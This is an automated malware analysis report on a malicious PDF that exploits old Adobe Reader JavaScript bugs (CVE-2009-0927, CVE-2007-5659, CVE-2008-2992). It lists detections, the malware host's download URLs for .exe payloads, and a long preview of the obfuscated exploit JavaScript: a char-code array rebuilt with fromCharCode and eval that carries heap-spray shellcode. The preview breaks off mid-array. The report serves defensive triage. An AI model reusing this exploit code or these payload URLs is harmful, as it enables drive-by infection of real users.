PDF malware analysis — malicious · 9e816fff9c3134c7

MALICIOUS

PDF

75.1 KB Created: 2009-11-14 19:44:99 Authoring application: PDF Library 6.2.2 (via PDF Library 9.1.7) First seen: 2012-07-12

MD5: 094a955d223d27f27b70beb8a68c2a4e SHA-1: 7574726269d452453248b9b4717d78495df3f6b8 SHA-256: 9e816fff9c3134c7c9ae6930e48e610ea80c614c20fcbbde3b9d35e17c233efb

592 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.001 Malicious Link T1204.002 Malicious File

The PDF file contains multiple critical heuristic firings indicating exploitation of Adobe Reader vulnerabilities, specifically CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. These exploits are designed to execute embedded JavaScript. A deobfuscated JavaScript file, 'legacy_pdfkit_stage_000.js', was extracted, which likely serves as the second-stage payload. ClamAV also detected the file as 'Pdf.Exploit.Agent-36110' and an extracted artifact as 'Js.Exploit.Shellcode-18'.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 14

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED

The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://pipisechka.com/sleep/chjlx2.exe Referenced by PDF JavaScript
- http://pipisechka.com/sleep/click.php?r=Referenced by PDF JavaScript
- http://pipisechka.com/sleep/degux2.exeReferenced by PDF JavaScript
- http://pipisechka.com/sleep/cdlp2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	37944 bytes
SHA-256: `95114e28f2892a1504d9b86be5c70a20c91d8ce1cce140cd914f8d206f5111ca`
Detection ClamAV: No threats found Obfuscation or payload: likely 10 of 20 identifiers look randomly generated (e.g. 'fFrvoFmvCHhEaErECHoEdFeE') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script var abghjo=true;lprtuw="lprtuw";ador="ador";lbzat='';rstx="";ikotw="";cjnpu="cjnpu";clqrtv=58041;ensy=26467;dhpwx="dhpwx";igzdvx='';bhouw=5117;aegij=62194;var bkpsvy=false,iluvx="iluvx",gklnot=50912,hzqg=0,aijnpq=String,aloy=aijnpq['fFrvoFmvCHhEaErECHoEdFeE'.replace(/[EPFvH]/g,'')],bimu=String,dopq=bimu['ePvFaPlP'.replace(/[PFiSo]/g,'')],bksy="33",quzoa="",bgjqry=[64,61,60,153,168,161,150,167,156,162,161,83,153,156,171,146,156,167,91,172,148,165,166,163,95,83,159,152,161,92,174,64,61,60,60,170,155,156,159,152,83,91,172,148,165,166,163,97,159,152,161,154,167,155,83,93,83,101,83,111,83,159,152,161,92,174,64,61,60,60,60,172,148,165,166,163,83,94,112,83,172,148,165,166,163,110,64,61,60,60,176,64,61,60,60,172,148,165,166,163,83,112,83,172,148,165,166,163,97,166,168,149,166,167,165,156,161,154,91,99,95,83,159,152,161,98,101,92,110,64,61,60,60,165,152,167,168,165,161,83,172,148,165,166,163,110,64,61,60,176,64,61,64,61,60,153,168,161,150,167,156,162,161,83,168,167,156,159,146,163,165,156,161,167,153,91,92,174,64,61,60,60,169,148,165,83,163,148,172,159,162,148,151,83,112,83,168,161,152,166,150,148,163,152,91,85,88,168,120,117,120,108,88,168,99,99,99,100,88,168,104,105,99,99,88,168,116,100,105,103,88,168,99,99,102,99,88,168,99,99,99,99,88,168,103,99,107,117,88,168,107,117,99,118,88,168,100,118,106,99,88,168,107,117,116,119,88,168,99,107,103,99,88,168,118,102,104,120,88,168,107,117,104,104,88,168,107,117,120,118,88,168,99,107,103,104,88,168,102,102,104,101,88,168,118,100,119,101,88,168,99,102,118,101,88,168,100,99,102,101,88,168,107,99,103,99,88,168,99,99,102,107,88,168,121,104,106,104,88,168,118,101,107,117,88,168,104,119,104,116,88,168,99,103,118,101,88,168,104,104,99,99,88,168,120,118,107,117,88,168,104,100,104,100,88,168,104,105,104,102,88,168,105,99,104,106,88,168,104,119,107,117,88,168,102,102,99,107,88,168,107,117,118,99,88,168,99,118,106,104,88,168,121,120,107,117,88,168,106,105,99,102,88,168,107,117,102,118,88,168,106,107,103,120,88,168,118,121,99,102,88,168,104,100,107,117,88,168,104,101,100,118,88,168,104,100,107,117,88,168,104,101,101,103,88,168,106,100,107,117,88,168,103,120,100,103,88,168,106,104,107,108,88,168,107,117,121,118,88,168,101,99,106,100,88,168,121,106,99,102,88,168,103,116,108,108,88,168,103,101,116,119,88,168,102,117,105,99,88,168,121,118,104,104,88,168,99,103,106,104,88,168,118,99,102,102,88,168,102,106,120,117,88,168,121,121,102,102,88,168,103,104,99,102,88,168,108,106,99,118,88,168,118,121,107,117,88,168,106,104,116,120,88,168,101,117,121,119,88,168,103,121,121,108,88,168,120,107,104,100,88,168,121,121,108,103,88,168,121,121,121,121,88,168,118,102,102,117,88,168,106,103,105,100,88,168,120,117,99,101,88,168,107,117,119,108,88,168,99,118,103,104,88,168,104,120,108,101,88,168,121,101,99,102,88,168,120,99,119,100,88,168,118,105,99,102,88,168,118,108,102,102,88,168,117,106,99,121,88,168,104,121,99,107,88,168,120,100,118,100,88,168,99,102,99,101,88,168,99,102,118,116,88,168,107,117,118,121,88,168,99,102,99,100,88,168,107,108,118,101,88,168,121,107,103,104,88,168,107,117,105,100,88,168,121,107,103,104,88,168,104,120,104,121,88,168,118,108,104,117,88,168,104,104,118,102,88,168,120,118,107,117,88,168,120,107,104,100,88,168,121,121,103,108,88,168,121,121,121,121,88,168,105,107,104,99,88,168,105,99,120,107,88,168,99,103,117,121,88,168,105,118,120,107,88,168,121,121,121,121,88,168,102,102,121,121,88,168,104,101,119,101,88,168,121,121,104,101,88,168,99,107,106,104,88,168,119,99,121,121,88,168,103,104,107,108,88,168,107,117,121,118,88,168,121,118,103,104,88,168,118,102,118,108,88,168,107,117,104,104,88,168,107,102,120,118,88,168,99,118,120,118,88,168,103,104,107,119,88,168,104,99,121,103,88,168,103,104,118,105,88,168,106,104,121,103,88,168,103,104,118,105,88,168,106,101,121,104,88,168,103,104,118,105,88,168,105,118,121,105,88,168,103,104,118,105,88,168,105,119,121,106,88,168,103,104,118,105,88,168,105,121,121,107,88,168,103,104,118,105,88,168,105,120,121,108,88,168,103,104,118,105,88,168,101,120,121,116,88,168,103,104,118,105,88,168,105,103,121,117,88,168,103,104,118,105,88,168,105,118,121,118,88,168,103,104,118,105,88,168,105,118,121,119,88,168,103,104,118,105,88,168,99,99,121,120,88,168,116,99,120,107,88,168,121,121,121,121,88,168,104,99,121,121,88,168,104,119,105,107,88,168,100,100,107,116,88,168,120,107,100,105,88,168,121,121,100,104,88,168,121,121,121,121,88,168,118,103,107,102,88,168,107,104,99,118,88,168,106,103,118,99,88,168,105,116,100,104,88,168,105,116,99,99,88,168,121,121,99,99,88,168,99,118,106,104,88,168,106,104,121,121,88,168,105,116,99,107,88,168,121,121,99,99,88,168,107,104,119,99,88,168,106,104,118,99,88,168,103,99,99,102,88,168,118,102,118,108,88,168,118,99,102,102,88,168,118,102,118,108,88,168,102,102,104,106,88,168,107,117,118,99,88,168,101,103,103,118,88,168,107,117,99,118,88,168,101,103,106,118,88,168,121,118,99,107,88,168,116,116,121,102,88,168,118,102,104,121,88,168,103,118,107,117,88,168,99,103,101,103,88,168,102,108,107,99,88,168,107,117,99,99,88,168,106,103,118,100,88,168,103,99,99,105,88,168,102,107,107,99,88,168,106,104,99,99,88,168,101,117,121,116,88,168,118,102,118,100,88,168,107,117,104,104,88,168,107,102,120,118,88,168,105,103,120,118,88,168,107,119,104,102,88,168,121,99,103,104,88,168,102,102,104,106,88,168,104,99,119,117,88,168,103,104,118,105,88,168,105,117,121,99,88,168,103,104,118,105,88,168,105,104,121,100,88,168,103,104,118,105,88,168,106,101,121,101,88,168,103,104,118,105,88,168,105,120,121,102,88,168,103,104,118,105,88,168,105,104,121,103,88,168,103,104,118,105,88,168,105,118,121,104,88,168,103,104,118,105,88,168,102,102,121,105,88,168,103,104,118,105,88,168,102,101,121,106,88,168,103,104,118,105,88,168,101,120,121,107,88,168,103,104,118,105,88,168,105,103,121,108,88,168,103,104,118,105,88,168,105,118,121,116,88,168,103,104,118,105,88,168,105,118,121,117,88,168,104,119,107,107,88,168,120,107,121,118,88,168,121,121,99,117,88,168,121,121,121,121,88,168,105,107,104,99,88,168,103,102,105,107,88,168,107,120,121,108,88,168,107,99,120,107,88,168,121,121,121,120,88,168,107,117,121,121,88,168,107,119,121,107,88,168,108,118,103,104,88,168,103,103,105,116,88,168,120,107,104,99,88,168,121,121,106,120,88,168,121,121,121,121,88,168,103,104,107,119,88,168,105,116,120,99,88,168,104,99,100,99,88,168,106,102,120,107,88,168,121,121,121,121,88,168,107,102,121,121,88,168,100,118,118,103,88,168,103,104,107,119,88,168,104,99,120,99,88,168,103,104,107,119,88,168,104,99,108,118,88,168,104,102,104,102,88,168,104,102,104,102,88,168,104,102,104,102,88,168,106,104,121,121,88,168,118,106,99,107,88,168,108,118,103,104,88,168,99,99,103,103,88,168,99,99,99,99,88,168,121,121,104,102,88,168,104,121,119,106,88,168,117,105,99,121,88,168,104,117,118,99,88,168,118,102,118,108,88,168,107,117,104,104,88,168,104,100,120,118,88,168,104,102,104,100,88,168,104,106,104,105,88,168,103,101,105,116,88,168,106,101,120,107,88,168,99,99,99,99,88,168,107,117,99,99,88,168,102,102,119,107,88,168,107,104,121,105,88,168,104,108,119,117,88,168,103,104,118,106,88,168,105,100,121,107,88,168,105,104,101,120,88,168,118,106,106,107,88,168,121,118,103,104,88,168,99,99,105,104,88,168,99,99,99,99,88,168,104,105,106,120,88,168,103,104,107,119,88,168,104,99,121,107,88,168,120,107,104,105,88,168,99,99,104,100,88,168,99,99,99,99,88,168,104,99,104,108,88,168,117,100,120,107,88,168,121,121,121,120,88,168,107,104,121,121,88,168,104,108,118,99,88,168,106,103,104,108,88,168,107,119,102,108,88,168,99,100,103,105,88,168,120,107,104,99,88,168,99,99,102,117,88,168,99,99,99,99,88,168,121,107,107,117,88,168,103,104,107,119,88,168,104,99,121,107,88,168,101,100,120,107,88,168,121,121,121,121,88,168,107,104,121,121,88,168,104,108,118,99,88,168,106,103,104,108,88,168,104,106,99,118,88,168,99,100,120,107,88,168,121,121,121,121,88,168,104,108,121,121,88,168,103,103,118,105,88,168,121,121,102,107,88,168,104,99,106,102,88,168,103,104,107,119,88,168,121,120,121,107,88,168,104,107,99,99,88,168,103,104,107,119,88,168,104,99,121,107,88,168,120,107,104,106,88,168,121,120,106,103,88,168,121,121,121,121,88,168,104,108,104,108,88,168,103,105,103,105,88,168,121,102,102,117,88,168,116,116,106,118,88,168,104,120,104,121,88,168,118,108,104,117,88,168,104,104,118,102,88,168,120,118,107,117,88,168,104,102,104,100,88,168,105,99,105,105,88,168,102,101,117,100,88,168,99,99,120,107,88,168,99,99,99,99,88,168,104,107,99,99,88,168,99,107,102,107,88,168,99,102,106,103,88,168,120,117,103,99,88,168,103,99,121,108,88,168,104,119,107,117,88,168,107,99,99,107,88,168,103,101,121,117,88,168,99,107,106,104,88,168,119,117,102,102,88,168,100,107,107,116,88,168,118,102,107,117,88,168,100,106,120,117,88,168,100,107,102,107,88,168,100,100,106,105,88,168,102,102,103,99,88,168,107,103,118,108,88,168,106,103,119,117,88,168,103,99,99,118,88,168,99,107,102,107,88,168,121,117,106,104,88,168,121,120,103,99,88,168,120,117,118,117,88,168,102,102,121,101,88,168,107,108,118,99,88,168,121,118,103,104,88,168,103,104,107,117,88,168,104,117,121,118,88,168,118,102,118,108,88,168,99,101,102,101,88,168,106,103,105,107,88,168,106,99,106,103,88,168,101,121,102,116,88,168,106,99,101,121,88,168,106,99,105,108,88,168,106,102,105,108,88,168,105,102,105,104,88,168,105,117,105,107,88,168,101,120,105,100,88,168,105,121,105,102,88,168,101,121,105,119,88,168,105,118,106,102,88,168,105,104,105,104,88,168,101,121,106,99,88,168,105,107,105,102,88,168,105,118,105,116,88,168,102,101,106,107,88,168,105,104,101,120,88,168,105,104,106,107,88,168,105,107,99,99,88,168,106,103,106,103,88,168,102,116,106,99,88,168,101,121,101,121,88,168,105,108,106,99,88,168,105,108,106,99,88,168,105,104,106,102,88,168,105,107,105,102,88,168,105,100,105,117,88,168,105,102,101,120,88,168,105,119,105,121,88,168,106,102,101,121,88,168,105,104,105,118,88,168,106,99,105,104,88,168,105,102,101,121,88,168,105,108,105,118,88,168,105,117,105,102,88,168,106,99,101,120,88,168,106,99,105,107,88,168,106,101,102,121,88,168,99,99,102,119,85,92,110,64,61,60,60,169,148,165,83,161,162,163,83,112,83,168,161,152,166,150,148,163,152,91,85,88,168,99,116,99,116,88,168,99,116,99,116,88,168,99,116,99,116,88,168,99,116,99,116,85,92,64,61,60,60,169,148,165,83,155,152,148,163,149,159,162,150,158,83,112,83,161,162,163,83,94,83,163,148,172,159,162,148,151,110,64,61,60,60,169,148,165,83,149,156,154,149,159,162,150,158,83,112,83,168,161,152,166,150,148,163,152,91,85,88,168,99,116,99,116,88,168,99,116,99,116,85,92,110,64,61,60,60,169,148,165,83,155,152,148,151,152,165,166,156,173,152,83,112,83,101,99,110,64,61,60,60,169,148,165,83,166,163,165,148,172,83,112,83,155,152,148,151,152,165,166,156,173,152,83,94,83,155,152,148,163,149,159,162,150,158,97,159,152,161,154,167,155,110,64,61,60,60,170,155,156,159,152,83,91,149,156,154,149,159,162,150,158,97,159,152,161,154,167,155,83,111,83,166,163,165,148,172,92,174,64,61,60,60,60,149,156,154,149,159,162,150,158,83,94,112,83,149,156,154,149,159,162,150,158,110,64,61,60,60,176,64,61,60,60,169,148,165,83,153,156,159,159,149,159,162,150,158,83,112,83,149,156,154,149,159,162,150,158,97,166,168,149,166,167,165,156,161,154,91,99,95,83,166,163,165,148,172,92,110,64,61,60,60,169,148,165,83,149,159,162,150,158,83,112,83,149,156,154,149,159,162,150,158,97,166,168,149,166,167,165,156,161,154,91,99,95,83,149,156,154,149,159,162,150,158,97,159,152,161,154,167,155,96,166,163,165,148,172,92,110,64,61,60,60,170,155,156,159,152,83,91,149,159,162,150,158,97,159,152,161,154,167,155,94,166,163,165,148,172,83,111,83,99,171,103,99,99,99,99,92,174,64,61,60,60,60,149,159,162,150,158,83,112,83,149,159,162,150,158,83,94,83,149,159,162,150,158,83,94,83,153,156,159,159,149,159,162,150,158,110,64,61,60,60,176,64,61,60,60,169,148,165,83,160,152,160,146,148,165,165,148,172,83,112,83,161,152,170,83,116,165,165,148,172,91,92,110,64,61,60,60,153,162,165,83,91,169,148,165,83,156,83,112,83,99,110,83,156,83,111,83,100,103,99,99,110,83,156,94,94,92,174,64,61,60,60,60,160,152,160,146,148,165,165,148,172,142,156,144,83,112,83,149,159,162,150,158,83,94,83,155,152,148,163,149,159,162,150,158,110,64,61,60,60,176,64,61,60,60,169,148,165,83,161,168,160,83,112,83,100,101,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,110,64,61,60,60,168,167,156,159,97,163,165,156,161,167,153,91,85,88,103,104,99,99,99,153,85,95,83,161,168,160,92,110,64,61,60,176,64,61,64,61,60,153,168,161,150,167,156,162,161,83,150,162,159,159,148,149,146,152,160,148,156,159,91,92,174,64,61,60,60,169,148,165,83,166,155,152,159,159,150,162,151,152,83,112,83,168,161,152,166,150,148,163,152,91,85,88,168,120,117,120,108,88,168,99,99,99,100,88,168,104,105,99,99,88,168,116,100,105,103,88,168,99,99,102,99,88,168,99,99,99,99,88,168,103,99,107,117,88,168,107,117,99,118,88,168,100,118,106,99,88,168,107,117,116,119,88,168,99,107,103,99,88,168,118,102,104,120,88,168,107,117,104,104,88,168,107,117,120,118,88,168,99,107,103,104,88,168,102,102,104,101,88,168,118,100,119,101,88,168,99,102,118,101,88,168,100,99,102,101,88,168,107,99,103,99,88,168,99,99,102,107,88,168,121,104,106,104,88,168,118,101,107,117,88,168,104,119,104,116,88,168,99,103,118,101,88,168,104,104,99,99,88,168,120,118,107,117,88,168,104,100,104,100,88,168,104,105,104,102,88,168,105,99,104,106,88,168,104,119,107,117,88,168,102,102,99,107,88,168,107,117,118,99,88,168,99,118,106,104,88,168,121,120,107,117,88,168,106,105,99,102,88,168,107,117,102,118,88,168,106,107,103,120,88,168,118,121,99,102,88,168,104,100,107,117,88,168,104,101,100,118,88,168,104,100,107,117,88,168,104,101,101,103,88,168,106,100,107,117,88,168,103,120,100,103,88,168,106,104,107,108,88,168,107,117,121,118,88,168,101,99,106,100,88,168,121,106,99,102,88,168,103,116,108,108,88,168,103,101,116,119,88,168,102,117,105,99,88,168,121,118,104,104,88,168,99,103,106,104,88,168,118,99,102,102,88,168,102,106,120,117,88,168,121,121,102,102,88,168,103,104,99,102,88,168,108,106,99,118,88,168,118,121,107,117,88,168,106,104,116,120,88,168,101,117,121,119,88,168,103,121,121,108,88,168,120,107,104,100,88,168,121,121,108,103,88,168,121,121,121,121,88,168,118,102,102,117,88,168,106,103,105,100,88,168,120,117,99,101,88,168,107,117,119,108,88,168,99,118,103,104,88,168,104,120,108,101,88,168,121,101,99,102,88,168,120,99,119,100,88,168,118,105,99,102,88,168,118,108,102,102,88,168,117,106,99,121,88,168,104,121,99,107,88,168,120,100,118,100,88,168,99,102,99,101,88,168,99,102,118,116,88,168,107,117,118,121,88,168,99,102,99,100,88,168,107,108,118,101,88,168,121,107,103,104,88,168,107,117,105,100,88,168,121,107,103,104,88,168,104,120,104,121,88,168,118,108,104,117,88,168,104,104,118,102,88,168,120,118,107,117,88,168,120,107,104,100,88,168,121,121,103,108,88,168,121,121,121,121,88,168,105,107,104,99,88,168,105,99,120,107,88,168,99,103,117,121,88,168,105,118,120,107,88,168,121,121,121,121,88,168,102,102,121,121,88,168,104,101,119,101,88,168,121,121,104,101,88,168,99,107,106,104,88,168,119,99,121,121,88,168,103,104,107,108,88,168,107,117,121,118,88,168,121,118,103,104,88,168,118,102,118,108,88,168,107,117,104,104,88,168,107,102,120,118,88,168,99,118,120,118,88,168,103,104,107,119,88,168,104,99,121,103,88,168,103,104,118,105,88,168,106,104,121,103,88,168,103,104,118,105,88,168,106,101,121,104,88,168,103,104,118,105,88,168,105,118,121,105,88,168,103,104,118,105,88,168,105,119,121,106,88,168,103,104,118,105,88,168,105,121,121,107,88,168,103,104,118,105,88,168,105,120,121,108,88,168,103,104,118,105,88,168,101,120,121,116,88,168,103,104,118,105,88,168,105,103,121,117,88,168,103,104,118,105,88,168,105,118,121,118,88,168,103,104,118,105,88,168,105,118,121,119,88,168,103,104,118,105,88,168,99,99,121,120,88,168,116,99,120,107,88,168,121,121,121,121,88,168,104,99,121,121,88,168,104,119,105,107,88,168,100,100,107,116,88,168,120,107,100,105,88,168,121,121,100,104,88,168,121,121,121,121,88,168,118,103,107,102,88,168,107,104,99,118,88,168,106,103,118,99,88,168,105,116,100,104,88,168,105,116,99,99,88,168,121,121,99,99,88,168,99,118,106,104,88,168,106,104,121,121,88,168,105,116,99,107,88,168,121,121,99,99,88,168,107,104,119,99,88,168,106,104,118,99,88,168,103,99,99,102,88,168,118,102,118,108,88,168,118,99,102,102,88,168,118,102,118,108,88,168,102,102,104,106,88,168,107,117,118,99,88,168,101,103,103,118,88,168,107,117,99,118,88,168,101,103,106,118,88,168,121,118,99,107,88,168,116,116,121,102,88,168,118,102,104,121,88,168,103,118,107,117,88,168,99,103,101,103,88,168,102,108,107,99,88,168,107,117,99,99,88,168,106,103,118,100,88,168,103,99,99,105,88,168,102,107,107,99,88,168,106,104,99,99,88,168,101,117,121,116,88,168,118,102,118,100,88,168,107,117,104,104,88,168,107,102,120,118,88,168,105,103,120,118,88,168,107,119,104,102,88,168,121,99,103,104,88,168,102,102,104,106,88,168,104,99,119,117,88,168,103,104,118,105,88,168,105,117,121,99,88,168,103,104,118,105,88,168,105,104,121,100,88,168,103,104,118,105,88,168,106,101,121,101,88,168,103,104,118,105,88,168,105,120,121,102,88,168,103,104,118,105,88,168,105,104,121,103,88,168,103,104,118,105,88,168,105,118,121,104,88,168,103,104,118,105,88,168,102,102,121,105,88,168,103,104,118,105,88,168,102,101,121,106,88,168,103,104,118,105,88,168,101,120,121,107,88,168,103,104,118,105,88,168,105,103,121,108,88,168,103,104,118,105,88,168,105,118,121,116,88,168,103,104,118,105,88,168,105,118,121,117,88,168,104,119,107,107,88,168,120,107,121,118,88,168,121,121,99,117,88,168,121,121,121,121,88,168,105,107,104,99,88,168,103,102,105,107,88,168,107,120,121,108,88,168,107,99,120,107,88,168,121,121,121,120,88,168,107,117,121,121,88,168,107,119,121,107,88,168,108,118,103,104,88,168,103,103,105,116,88,168,120,107,104,99,88,168,121,121,106,120,88,168,121,121,121,121,88,168,103,104,107,119,88,168,105,116,120,99,88,168,104,99,100,99,88,168,106,102,120,107,88,168,121,121,121,121,88,168,107,102,121,121,88,168,100,118,118,103,88,168,103,104,107,119,88,168,104,99,120,99,88,168,103,104,107,119,88,168,104,99,108,118,88,168,104,102,104,102,88,168,104,102,104,102,88,168,104,102,104,102,88,168,106,104,121,121,88,168,118,106,99,107,88,168,108,118,103,104,88,168,99,99,103,103,88,168,99,99,99,99,88,168,121,121,104,102,88,168,104,121,119,106,88,168,117,105,99,121,88,168,104,117,118,99,88,168,118,102,118,108,88,168,107,117,104,104,88,168,104,100,120,118,88,168,104,102,104,100,88,168,104,106,104,105,88,168,103,101,105,116,88,168,106,101,120,107,88,168,99,99,99,99,88,168,107,117,99,99,88,168,102,102,119,107,88,168,107,104,121,105,88,168,104,108,119,117,88,168,103,104,118,106,88,168,105,100,121,107,88,168,105,104,101,120,88,168,118,106,106,107,88,168,121,118,103,104,88,168,99,99,105,104,88,168,99,99,99,99,88,168,104,105,106,120,88,168,103,104,107,119,88,168,104,99,121,107,88,168,120,107,104,105,88,168,99,99,104,100,88,168,99,99,99,99,88,168,104,99,104,108,88,168,117,100,120,107,88,168,121,121,121,120,88,168,107,104,121,121,88,168,104,108,118,99,88,168,106,103,104,108,88,168,107,119,102,108,88,168,99,100,103,105,88,168,120,107,104,99,88,168,99,99,102,117,88,168,99,99,99,99,88,168,121,107,107,117,88,168,103,104,107,119,88,168,104,99,121,107,88,168,101,100,120,107,88,168,121,121,121,121,88,168,107,104,121,121,88,168,104,108,118,99,88,168,106,103,104,108,88,168,104,106,99,118,88,168,99,100,120,107,88,168,121,121,121,121,88,168,104,108,121,121,88,168,103,103,118,105,88,168,121,121,102,107,88,168,104,99,106,102,88,168,103,104,107,119,88,168,121,120,121,107,88,168,104,107,99,99,88,168,103,104,107,119,88,168,104,99,121,107,88,168,120,107,104,106,88,168,121,120,106,103,88,168,121,121,121,121,88,168,104,108,104,108,88,168,103,105,103,105,88,168,121,102,102,117,88,168,116,116,106,118,88,168,104,120,104,121,88,168,118,108,104,117,88,168,104,104,118,102,88,168,120,118,107,117,88,168,104,102,104,100,88,168,105,99,105,105,88,168,102,101,117,100,88,168,99,99,120,107,88,168,99,99,99,99,88,168,104,107,99,99,88,168,99,107,102,107,88,168,99,102,106,103,88,168,120,117,103,99,88,168,103,99,121,108,88,168,104,119,107,117,88,168,107,99,99,107,88,168,103,101,121,117,88,168,99,107,106,104,88,168,119,117,102,102,88,168,100,107,107,116,88,168,118,102,107,117,88,168,100,106,120,117,88,168,100,107,102,107,88,168,100,100,106,105,88,168,102,102,103,99,88,168,107,103,118,108,88,168,106,103,119,117,88,168,103,99,99,118,88,168,99,107,102,107,88,168,121,117,106,104,88,168,121,120,103,99,88,168,120,117,118,117,88,168,102,102,121,101,88,168,107,108,118,99,88,168,121,118,103,104,88,168,103,104,107,117,88,168,104,117,121,118,88,168,118,102,118,108,88,168,99,101,102,101,88,168,106,103,105,107,88,168,106,99,106,103,88,168,101,121,102,116,88,168,106,99,101,121,88,168,106,99,105,108,88,168,106,102,105,108,88,168,105,102,105,104,88,168,105,117,105,107,88,168,101,120,105,100,88,168,105,121,105,102,88,168,101,121,105,119,88,168,105,118,106,102,88,168,105,104,105,104,88,168,101,121,106,99,88,168,105,104,105,103,88,168,106,104,105,106,88,168,102,101,106,107,88,168,105,104,101,120,88,168,105,104,106,107,88,168,105,107,99,99,88,168,106,103,106,103,88,168,102,116,106,99,88,168,101,121,101,121,88,168,105,108,106,99,88,168,105,108,106,99,88,168,105,104,106,102,88,168,105,107,105,102,88,168,105,100,105,117,88,168,105,102,101,120,88,168,105,119,105,121,88,168,106,102,101,121,88,168,105,104,105,118,88,168,106,99,105,104,88,168,105,102,101,121,88,168,105,108,105,118,88,168,105,117,105,102,88,168,106,99,101,120,88,168,106,99,105,107,88,168,106,101,102,121,88,168,99,99,102,119,85,92,110,64,61,60,60,169,148,165,83,160,152,160,146,148,165,165,148,172,83,112,83,161,152,170,83,116,165,165,148,172,91,92,110,64,61,60,60,169,148,165,83,150,150,83,112,83,99,171,99,150,99,150,99,150,99,150,110,64,61,60,60,169,148,165,83,148,151,151,165,83,112,83,99,171,103,99,99,99,99,99,110,64,61,60,60,169,148,165,83,166,150,146,159,152,161,83,112,83,166,155,152,159,159,150,162,151,152,97,159,152,161,154,167,155,83,93,83,101,110,64,61,60,60,169,148,165,83,159,152,161,83,112,83,148,151,151,165,83,96,83,91,166,150,146,159,152,161,94,99,171,102,107,92,110,64,61,60,60,169,148,165,83,172,148,165,166,163,83,112,83,168,161,152,166,150,